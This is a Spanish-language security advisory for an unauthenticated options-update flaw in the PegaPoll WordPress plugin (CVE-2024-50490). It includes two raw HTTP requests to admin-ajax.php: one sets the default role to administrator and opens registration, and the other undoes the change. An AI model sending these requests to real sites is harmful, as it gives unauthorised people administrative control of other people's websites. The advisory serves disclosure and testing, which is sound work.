
PegaPoll <= 1.0.2 - Actualización de opciones arbitraria sin autenticación
PegaPoll <= 1.0.2 - Actualización no autenticada de opciones arbitrarias
El plugin PegaPoll para WordPress es vulnerable a la modificación no autorizada de datos, lo que puede llevar a una escalada de privilegios debido a la falta de comprobación de capacidades en todas las versiones hasta la 1.0.2 inclusive. Esto permite que atacantes no autenticados actualicen opciones arbitrarias en el sitio de WordPress. Esto puede aprovecharse para cambiar el rol predeterminado de registro a administrador y habilitar el registro de usuarios, permitiendo a los atacantes obtener acceso administrativo a un sitio vulnerable.
Published: 2024-10-25 00:00:00
CVE: CVE-2024-50490
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: pegapoll
Habilitar registro y nuevo usuario administrador predeterminado
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 91
Origin: http://kubernetes.docker.internal
Connection: keep-alive
action=update_all_options&options[default_role]=administrator&options[users_can_register]=1
Volver a deshabilitar el registro de usuarios y el usuario es suscriptor
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 91
Origin: http://kubernetes.docker.internal
Connection: keep-alive
action=update_all_options&options[default_role]=subscriber&options[users_can_register]=0